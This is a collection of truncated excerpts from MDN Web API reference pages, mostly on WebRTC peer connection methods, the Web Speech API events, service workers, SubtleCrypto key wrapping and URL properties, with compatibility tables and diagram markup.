WebRTC session. Example This example computes the average time elapsed between connectivity checks if the RTCStats object rtcStats is an RTCIceCandidatePairStats object. if (rtcStats && rtcStats.type === "candidate-pair") { let elapsed = (rtcStats.lastRequestTimestamp - rtcStats.firstRequestTimestamp) / rtcStats.requestsSent; log("Average time between ICE connectivity che...
...onnectivity checks: " + elapsed + " ms."); } The code begins by looking at rtcStats to see if its type is candidate-pair. If it is, then we know that rtcStats is in fact an RTCIceCandidatePairStats object. If so, we compute the average time elapsed between STUN connectivity checks and log that information. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCIceCandidatePairStats' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.addIceCandidate() - Web APIs
This adds this new remote candidate to the RTCPeerConnection's remote description, which describes the state of the remote end of the connection. If the candidate parameter is missing or a value of null is given when calling addIceCandidate(), the added ICE candidate is an "end-of-candidates" indicator. The same is the case if the value of the specified object's candidate is either missing or an empty string (""), it signals that all remote candidates have been delivered. ...
...l remote candidates have been delivered. The end-of-candidates notification is transmitted to the remote peer using a candidate with an a-line value of end-of-candidates. During negotiation, your app will likely receive many candidates which you'll deliver to the ICE agent in this way, allowing it to build up a list of potential connection methods. This is covered in more detail in the articles
WebRTC connectivity and Signaling and video calling. Syntax aPromise = pc.addIceCandidate(candidate); addIceCandidate(candidate, successCallback, failureCallback); Parameters candidate Optional An object conforming to the RTCIceCandidateInit dictionary, or an RTCIceCandidate object; the contents of the object should be constructed from a message received over the signaling channel, descr...
...al candidate denoting end-of-candidates. Out of interest, end-of-candidates may be manually indicated as follows: pc.addIceCandidate({candidate:''}); However, in most cases you won't need to look for this explicitly, since the events driving the RTCPeerConnection will deal with it for you, sending the appropriate events. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.addIceCandidate()' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.addStream() - Web APIs
emote peer. If the signalingState is set to closed, an InvalidStateError is raised. If the signalingState is set to stable, the event negotiationneeded is sent on the RTCPeerConnection to indicate that ICE negotiation must be repeated to consider the new stream. Syntax rtcPeerConnection.addStream(mediaStream); Parameters mediaStream A MediaStream object indicating the stream to add to the
WebRTC peer connection. Return value None. Example This simple example adds the audio and video stream coming from the user's camera to the connection. navigator.mediaDevices.getUserMedia({video:true, audio:true}, function(stream) { var pc = new RTCPeerConnection(); pc.addStream(stream); }); Migrating to addTrack() Compatibility allowing, you should update your code to instead use the add...
...rack() API avoids confusion over whether later changes to the track-makeup of a stream affects a peer connection (they do not). The exception is in Chrome, where addStream() does make the peer connection sensitive to later stream changes (though such changes do not fire the negotiationneeded event). If you are relying on the Chrome behavior, note that other browsers do not have it. ...
... Candidate Recommendation Initial specification. ...
RTCPeerConnection.addTrack() - Web APIs
This includes things like changes to the transceiver's direction and tracks being halted using removeTrack(). For example, consider this function that an application might use to begin streaming a device's camera and microphone input over an RTCPeerConnection to a remote peer: async openCall(pc) { const gumStream = await navigator.mediaDevices.getUserMedia( ...
...getUserMedia(mediaConstraints); }) .then(function(stream) { previewElement.srcObject = stream; stream.getTracks().forEach(track => pc.addTrack(track, stream)); }) This code takes SDP which has been received from the remote peer and constructs a new RTCSessionDescription to pass into setRemoteDescription(). Once that succeeds, it uses MediaDevices.getUserMedia() to obtain access to the local
webcam and microphone. If that succeeds, the resulting stream is assigned as the source for a <video> element which is referenced by the variable previewElement. The final step is to begin sending the local video across the peer connection to the caller. This is done by adding each track in the stream by iterating over the list returned by MediaStream.getTracks() and passing them to addTrack() alon...
...enced by the variable previewElement. The final step is to begin sending the local video across the peer connection to the caller. This is done by adding each track in the stream by iterating over the list returned by MediaStream.getTracks() and passing them to addTrack() along with the stream which they're a component of. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.addTrack()' in that specification. Candidate Recommendation Initial specification. ...
RTCPeerConnection.createAnswer() - Web APIs
The answer contains information about any media already attached to the session, codecs and options supported by the browser, and any ICE candidates already gathered. The answer is delivered to the returned Promise, and should then be sent to the source of the offer to continue the negotiation process. ...
...her peer. Example Here is a segment of code taken from the code that goes with the article Signaling and video calling. This code comes from the handler for the message sent to carry an offer to another peer across the signaling channel. Keep in mind that this is part of the signaling process, the transport layer for which is an implementation detail that's entirely up to you. In this case, a
WebSocket connection is used to send a JSON message with a type field with the value "video-answer" to the other peer, carrying the answer to the device which sent the offer to connect. The contents of the object being passed to the sendToServer() function, along with everything else in the promise fulfillment handler, depend entirely on your design pc.createAnswer().then(function(answer) { retur...
... is sent to the signaling server using whatever protocol you see fit. Promise.catch() is used to trap and handle errors. See Handling the invitation in Signaling and video calling to see the complete code, in context, from which this snippet is derived; that will help you understand the signaling process and how answers work. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'createAnswer()' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnection: icecandidateerror event - Web APIs
Error 701 indicates that none of the ICE candidates were able to successfully make contact with the STUN or TURN server. ...
...PeerConnectionIceErrorEvent, and contains information describing the error in some amount of detail. Bubbles No Cancelable No Interface RTCPeerConnectionIceErrorEvent Event handler property RTCPeerConnection.onicecandidateerror Description The error object's errorCode property is one of the numeric STUN error codes. There is one additional,
WebRTC-specific, error which lies outside the valid STUN error code range: 701. Error 701 indicates that none of the ICE candidates were able to successfully make contact with the STUN or TURN server. The 701 error is fired only once per server URL from the list of available STUN or TURN servers provided when creating the RTCPeerConnection. These errors occur only when the connection's ICE gathering...
... Candidate Recommendation Initial definition. ...
RTCPeerConnection.restartIce() - Web APIs
This simplifies the process by allowing the same method to be used by either the caller or the receiver to trigger an ICE restart. After restartIce() returns, the offer returned by the next call to createOffer() is automatically configured to trigger ICE restart on both the local peer (once the local peer has been set) and on the remote peer, once the offer is sent across your signaling mechanism and the remote peer has set its description as well. ...
...r calling restartIce(), the next offer created using createOffer() will initiate ICE restart once sent to the remote peer over your signaling mechanism. Restarting ICE essentially resets ICE so that it creates all new candidates using new credentials. Existing media transmissions continue uninterrupted during this process. For details about how ICE restart works, see ICE restart in Lifetime of a
WebRTC session and RFC 5245, section 9.1.1.1: ICE specification. Example This example creates a handler for the iceconnectionstatechange event that handles a transition to the failed state by restarting ICE in order to try again. pc.addEventListener("iceconnectionstatechange", event => { if (pc.iceConnectionState === "failed") { /* possibly reconfigure the connection in some way here */ ...
...uring ICE negotiation will cause a negotiationneeded event to be fired, in response to which your code should renegotiate as usual. However, because you have called restartIce(), your call to createOffer() which occurs in the handler for negotiationneeded will trigger an ICE restart rather than just a regular renegotiation. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.restartIce()' in that specification. Candidate Recommendation Initial definition. ...
RTCPeerConnection.setLocalDescription() - Web APIs
figuration take effect. Syntax aPromise = RTCPeerConnection.setLocalDescription(sessionDescription); pc.setLocalDescription(sessionDescription, successCallback, errorCallback); Parameters sessionDescription Optional An RTCSessionDescriptionInit or RTCSessionDescription which specifies the configuration to be applied to the local end of the connection. If the description is omitted, the
WebRTC runtime tries to automatically do the right thing. Implicit description If you don't explicity provide a session description, the
WebRTC runtime will try to handle it correctly. If the signaling state is one of stable, have-local-offer, or have-remote-pranswer, the
WebRTC runtime automatically creates a new offer and sets that as the new local description. Otherwise, setLocalDescription() c...
...h is fulfilled once the value of RTCPeerConnection.localDescription is successfully changed or rejected if the change cannot be applied (for example, if the specified description is incompatible with one or both of the peers on the connection). The promise's fulfillment handler receives no input parameters. The process of changing descriptions actually involves intermediary steps handled by the
WebRTC layer to ensure that an active connection can be changed without losing the connection if the change does not succeed. See Pending and current descriptions in
WebRTC connectivity for more details on this process. Deprecated parameters In older code and documentation, you may see a callback-based version of this function used. This has been deprecated and its use is strongly discouraged, as ...
...tion }); } catch(err) { reportError(err); } } This begins by creating an offer by calling createOffer(); when that succeeds, we call setLocalDescription(). We can then send the newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalRemotePeer(). Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCPeerConnection.setLocalDescription()' in that specification. Candidate Recommendation Initial specification. ...
RTCRtpContributingSource.source - Web APIs
is based on the former. Syntax var sourceID = RTCRtpContributingSource.source Value An unsigned, 32-bit integer value which uniquely identifies the source of RTP packets described by this RTCRtpContributingSource (in which case the value is a CSRC identifier) or RTCRtpSynchronizationSource (the value is an SSRC identifier). Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'source' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChro...
...The definition of 'source' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l support 59Disabled Disabled From version 59: this feature is behind the media.peerconnection.rtpsourcesapi.enable preference (needs to be set to true). ...
RTCRtpReceiver.track - Web APIs
Candidate Recommendation Initial definition. ...
...sThe definition of 'track' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rackChrome Full support 59Edge Full support 12Firefox Full support YesIE No support NoOpera Full support 46Safari Full support Yes
WebView Android Full support 59Chrome Android Full support 59Firefox Android Full support YesOpera Android Full support 43Safari iOS Full support YesSamsung Internet Android ...
RTCRtpSendParameters - Web APIs
encodings An array of RTCRtpEncodingParameters objects, each specifying the parameters for a single codec that could be used to encode the track's media. priority A string from the RTCPriorityType enumerated type which indicates the encoding's priority. ...
... encodings An array of RTCRtpEncodingParameters objects, each specifying the parameters for a single codec that could be used to encode the track's media. priority A string from the RTCPriorityType enumerated type which indicates the encoding's priority. ...
...e RTCPriorityType enumerated type which indicates the encoding's priority. The default value is low. transactionId A string containing a unique ID for the last set of parameters applied; this value is used to ensure that setParameters() can only be called to alter changes made by a specific previous call to getParameters(). Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpSendParameters' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpSender.setParameters() - Web APIs
The setParameters() method of the RTCRtpSender interface applies changes the configuration of sender's track, which is the MediaStreamTrack for which the RTCRtpSender is responsible. In other words, setParameters() updates the configuration of the RTP transmission as well as the encoding configuration for a specific media track on the
WebRTC connection. ...
... encodings An array of RTCRtpEncodingParameters objects, each specifying the parameters for a single codec that could be used to encode the track's media. ...
...arameters to set. OperationError Any error condition which occurs that isn't covered by one of the other error codes results in an OperationError. RangeError The value specified for scaleResolutionDownBy is less than 1.0, which would result in scaling up rather than down, which is not allowed; or one or more of the specified encodings' maxFramerate values is less than 0.0. In addition, if a
WebRTC error occurs while configuring or accessing the media, an RTCError is thrown with its errorDetail set to hardware-encoder-error. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpSender.setParameters()' in that specification. Candidate Recommendation Initial definition. ...
SVGTransformList - Web APIs
n)The definition of 'SVGTransformList' in that specification. Recommendation Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...g InternetSVGTransformListChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
...pport Yeslength Non-standardChrome Full support YesEdge Full support <=79Firefox Full support 9IE ? Opera Full support YesSafari ?
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 9Opera Android Full support YesSafari iOS ? Samsung Internet Android Full support ...
Selection.extend() - Web APIs
election APIThe definition of 'Selection.extend()' in that specification. Working Draft Current Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...alChrome Full support YesEdge Full support 12Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android No support NoChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
...lChrome Full support YesEdge Full support <=79Firefox Full support 55IE No support NoOpera Full support YesSafari Full support Yes
WebView Android No support NoChrome Android Full support YesFirefox Android Full support 55Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
ServiceWorkerGlobalScope - Web APIs
ts properties from WindowTimers, WindowBase64, and WindowEventHandlers. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/WorkerGlobalScope" target="_top"><rect x="151" y="1" width="170" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">WorkerGlobalScope</text></a><polyline points="321,25 331,20 331,30 321,25" stroke="#D4DDE4" fill="none"/><line...
...ht="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">WorkerGlobalScope</text></a><polyline points="321,25 331,20 331,30 321,25" stroke="#D4DDE4" fill="none"/><line x1="331" y1="25" x2="361" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ServiceWorkerGlobalScope" target="_top"><rect x="361" y="1" width="240" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="481" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ServiceWorkerGlobalScope</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;}...
Using Service Workers - Web APIs
This article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality. The premise of service workers One overriding problem that
web users have suffered with for years is loss of connectivity. The best
web app in the world will provide a terrible user experience if you can't download it. There have been various attempts to create technologies to solve this problem, and some of the issues have been solved. But the overriding problem is that there still isn't a good overall control mechanism for asset caching and custom network requests. ...
...gree of granularity, allowing you to handle this problem and many more. Using a Service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as Offline First). This is already available with native apps, which is one of the main reasons native apps are often chosen over
web apps. Setting up to play with service workers Many service workers features are now enabled by default in newer versions of supporting browsers. If however you find that demo code is not working in your installed versions, you might need to enable a pref: Firefox Nightly: Go to about:config and set dom.serviceWorkers.enabled to true; restart browser. Chrome Canary: Go to chrome://flags and ...
... play with service workers Many service workers features are now enabled by default in newer versions of supporting browsers. If however you find that demo code is not working in your installed versions, you might need to enable a pref: Firefox Nightly: Go to about:config and set dom.serviceWorkers.enabled to true; restart browser. Chrome Canary: Go to chrome://flags and turn on experimental-
web-platform-features; restart browser (note that some features are now enabled by default in Chrome.) Opera: Go to opera://flags and enable Support for ServiceWorker; restart browser. Microsoft Edge: Go to about:flags and tick Enable service workers; restart browser. You'll also need to serve your code via HTTPS -- Service workers are restricted to running across HTTPS for security reasons. GitH...
SharedWorkerGlobalScope.applicationCache - Web APIs
The applicationCache read-only property of the SharedWorkerGlobalScope interface returns the ApplicationCache object for the worker (see Using the application cache). Syntax var nameObj = self.applicationCache; Value An ApplicationCache. ...
...th it, you can return a reference to the cache using self.applicationCache from inside the shared worker. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Samsung Internet Android Full support ...
SpeechRecognition: end event - Web APIs
The end event of the
Web Speech API SpeechRecognition object is fired when the speech recognition service has disconnected. ...
... The end event of the
Web Speech API SpeechRecognition object is fired when the speech recognition service has disconnected. ...
... Draft ...
SpeechRecognition: error event - Web APIs
The error event of the
Web Speech API SpeechRecognition object is fired when a speech recognition error occurs. ...
... The error event of the
Web Speech API SpeechRecognition object is fired when a speech recognition error occurs. ...
... Draft ...
SpeechRecognition: nomatch event - Web APIs
This may involve some degree of recognition, which doesn't meet or exceed the confidence threshold. ...
...e returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the confidence threshold. ...
... Draft ...
SpeechRecognition: soundend event - Web APIs
The soundend event of the
Web Speech API is fired when any sound -- recognisable speech or not -- has stopped being detected. ...
... The soundend event of the
Web Speech API is fired when any sound -- recognisable speech or not -- has stopped being detected. ...
... Draft ...
SpeechRecognition: soundstart event - Web APIs
The soundstart event of the
Web Speech API is fired when any sound -- recognisable speech or not -- has been detected. ...
... The soundstart event of the
Web Speech API is fired when any sound -- recognisable speech or not -- has been detected. ...
... Draft ...
SpeechRecognition: speechend event - Web APIs
The speechend event of the
Web Speech API is fired when speech recognized by the speech recognition service has stopped being detected. ...
... The speechend event of the
Web Speech API is fired when speech recognized by the speech recognition service has stopped being detected. ...
... Draft ...
SpeechRecognition: speechstart event - Web APIs
The speechstart event of the
Web Speech API is fired when sound recognized by the speech recognition service as speech has been detected. ...
... The speechstart event of the
Web Speech API is fired when sound recognized by the speech recognition service as speech has been detected. ...
... Draft ...
StaticRange - Web APIs
The DOM StaticRange interface extends AbstractRange to provide a method to specify a range of content in the DOM whose contents don't update to reflect changes which occur within the DOM tree. It offers the same set of properties and methods as AbstractRange. AbstractRange and StaticRange are not available from
web workers. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="/docs/
Web/API/AbstractRange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="66" y="3...
... height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">AbstractRange</text></a><polyline points="131,25 141,20 141,30 131,25" stroke="#D4DDE4" fill="none"/><line x1="141" y1="25" x2="171" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/StaticRange" target="_top"><rect x="171" y="1" width="110" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">StaticRange</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor Stat...
...e node (or element) and ending inside another one. Unlike a Range, a StaticRange represents a range which is fixed in time; it does not change to try to keep the same content within it as the document changes. If any changes are made to the DOM, the actual data contained within the range specified by a StaticRange may change. This lets the user agent avoid a lot of work that is unnecessary if the
web app or site doesn't need a live-updating range. Specifications Specification Status Comment DOMThe definition of 'StaticRange' in that specification. Living Standard Static RangeThe definition of 'StaticRange' in that specification. Editor's Draft Initial definition. ...
StereoPannerNode - Web APIs
It is an AudioNode audio-processing module that positions an incoming audio stream in a stereo image using a low-cost equal-power panning algorithm. The pan property takes a unitless value between -1 (full left pan) and 1 (full right pan). This interface was introduced as a much simpler way to apply a simple panning effect than having to use a full PannerNode. ...
...onnect the two together using the connect() method. We then use an oninput event handler to change the value of the StereoPannerNode.pan parameter and update the pan value display when the slider is moved. Moving the slider left and right while the music is playing pans the music across to the left and right speakers of the output, respectively. ...
... Working Draft Initial definition ...
Streams API concepts - Web APIs
Some of the concepts and terminology associated with streams might be new to you -- this article explains all you need to know. Readable streams A readable stream is a data source represented in JavaScript by a ReadableStream object that flows from an underlying source -- this is a resource somewhere on the network or elsewhere on your domain that you want to get data from. ...
...Script by a ReadableStream object that flows from an underlying source -- this is a resource somewhere on the network or elsewhere on your domain that you want to get data from. There are two types of underlying source: Push sources constantly push data at you when you've accessed them, and it is up to you to start, pause, or cancel access to the stream. Examples include video streams and TCP/
Web sockets. Pull sources require you to explicitly request data from them once connected to. Examples include a file access operation via a Fetch or XHR call. The data is read sequentially in small pieces called chunks. A chunk can be a single byte, or it can be something larger such as a typed array of a certain size. A single stream can contain chunks of different sizes and types. The chunks...
... has the data read out of it -- this acts as a kind of treadmill that constantly takes data in and transforms it to a new state. Effectively the same stream is written to, and then the same values are read. A simple example is a text decoder, where raw bytes are written, and then strings are read. You can find more useful ideas and examples in the spec -- see Transform streams for ideas, and this
web sockets example. ReadableStream.pipeTo() -- pipes to a writable stream that acts as the end point of the pipe chain. The start of the pipe chain is called the original source, and the end is called the ultimate sink. Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to m...
SubtleCrypto.encrypt() - Web APIs
tered: InvalidAccessError Raised when the requested operation is not valid for the provided key (e.g. invalid encryption algorithm, or invalid key for the specified encryption algorithm). OperationError Raised when the operation failed for an operation-specific reason (e.g. algorithm parameters of invalid sizes, or AES-GCM plaintext longer than 239-256 bytes). ...
... Supported algorithms The
Web Crypto API provides four algorithms that support the encrypt() and decrypt() operations. One of these algorithms -- RSA-OAEP -- is a public-key cryptosystem. The other three encryption algorithms here are all symmetric algorithms, and they're all based on the same underlying cipher, AES (Advanced Encryption Standard). The difference between them is the mode. The
Web Crypto API supports three different AES modes: CTR (Counter Mode) CBC (Cipher Block Chaining) GCM (Galois/Counter Mode) It's strongly recommended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker. Authentication helps protect against chosen-ciphertext attacks, in which an attacker can ask the system to decrypt arbitrary messages...
... Recommendation Initial definition. ...
SubtleCrypto.unwrapKey() - Web APIs
As with SubtleCrypto.importKey(), you specify the key's import format and other attributes of the key to import details such as whether it is extractable, and which operations it can be used for. ...
...rypt + export. Syntax const result = crypto.subtle.unwrapKey( format, wrappedKey, unwrappingKey, unwrapAlgo, unwrappedKeyAlgo, extractable, keyUsages ); Parameters format is a string describing the data format of the key to unwrap. It can be one of the following: raw: Raw format. pkcs8: PKCS #8 format. spki: SubjectPublicKeyInfo format. jwk: JSON
Web Key format. wrappedKey is an ArrayBuffer containing the wrapped key in the given format. unwrappingKey is the CryptoKey to use to decrypt the wrapped key. The key must have the unwrapKey usage set. unwrapAlgo is an object specifying the algorithm to be used to encrypt the exported key, and any extra parameters as required: To use RSA-OAEP, pass an RsaOaepParams object. To use AES...
... Recommendation Initial definition. ...
SubtleCrypto.wrapKey() - Web APIs
t, unwrapKey is composed of import + decrypt. Syntax const result = crypto.subtle.wrapKey( format, key, wrappingKey, wrapAlgo ); Parameters format is a string describing the data format in which the key will be exported before it is encrypted. It can be one of the following: raw: Raw format. pkcs8: PKCS #8 format. spki: SubjectPublicKeyInfo format. jwk: JSON
Web Key format. key is the CryptoKey to wrap. wrappingkey is the CryptoKey used to encrypt the exported key. The key must have the wrapKey usage set. wrapAlgo is an object specifying the algorithm to be used to encrypt the exported key, and any required extra parameters: To use RSA-OAEP, pass an RsaOaepParams object. To use AES-CTR, pass an AesCtrParams object. To use AES-CBC, pas...
...It uses "jwk" as the export format and AES-GCM, with a password-derived key, to encrypt it. See the complete code on GitHub. let salt; let iv; /* Get some key material to use as input to the deriveKey method. The key material is a password supplied by the user. */ function getKeyMaterial() { const password = window.prompt("Enter your p...
... Recommendation Initial definition. ...
SyncEvent - Web APIs
iceWorker. This interface inherits from the ExtendableEvent interface. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ExtendableEvent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ExtendableEvent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#D4DDE4" fill="none"/><line x1=...
...ight="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ExtendableEvent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#D4DDE4" fill="none"/><line x1="276" y1="25" x2="306" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/SyncEvent" target="_top"><rect x="306" y="1" width="90" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="351" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">SyncEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constructor SyncEvent...
URL.host - Web APIs
The host property of the URL interface is a USVString containing the host, that is the hostname, and then, if the port of the URL is nonempty, a ':', followed by the port of the URL. Note: This feature is available in
Web Workers. Syntax const host = url.host url.host = newHost Value A USVString. ...
... The host property of the URL interface is a USVString containing the host, that is the hostname, and then, if the port of the URL is nonempty, a ':', followed by the port of the URL. Note: This feature is available in
Web Workers. Syntax const host = url.host url.host = newHost Value A USVString. ...
...the host, that is the hostname, and then, if the port of the URL is nonempty, a ':', followed by the port of the URL. Note: This feature is available in
Web Workers. Syntax const host = url.host url.host = newHost Value A USVString. Examples let url = new URL('/docs/
Web/API/URL/host'); console.log(url.host); // "developer.mozilla.org" url = new URL('https://developer.mozilla.org:443/docs/
Web/API/URL/host'); console.log(url.host); // "developer.mozilla.org" // The port number is not included because 443 is the scheme's default port url = new URL('https://developer.mozilla.org:4097/docs/
Web/API/URL/host'); console.log(url.host); // "developer.mozilla.org:4097" Specifications Specification Status Comment URLThe definition of 'URL.host' in that specification. ...
URLUtilsReadOnly.hash - Web APIs
Living Standard Initial definition. ...
...efinition of 'URLUtilsReadOnly.hash' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Full support 38 No support 3.5 -- 38Notes Notes Before Firefox 38, Firefox returned the hash percent encoded. This has been fixed to match the spec.IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 38 Full support 38 No support 4 -- 38Notes Notes Before Firefox 38, Firefox returned the hash percent encoded. ...
URLUtilsReadOnly.host - Web APIs
Living Standard Initial definition. ...
...efinition of 'URLUtilsReadOnly.host' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.hostname - Web APIs
Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. ...
...ition of 'URLUtilsReadOnly.hostname' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.href - Web APIs
Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. ...
...efinition of 'URLUtilsReadOnly.href' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.pathname - Web APIs
Living Standard Initial definition. ...
...ition of 'URLUtilsReadOnly.pathname' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.port - Web APIs
Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. ...
...efinition of 'URLUtilsReadOnly.port' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.protocol - Web APIs
Living Standard Initial definition. ...
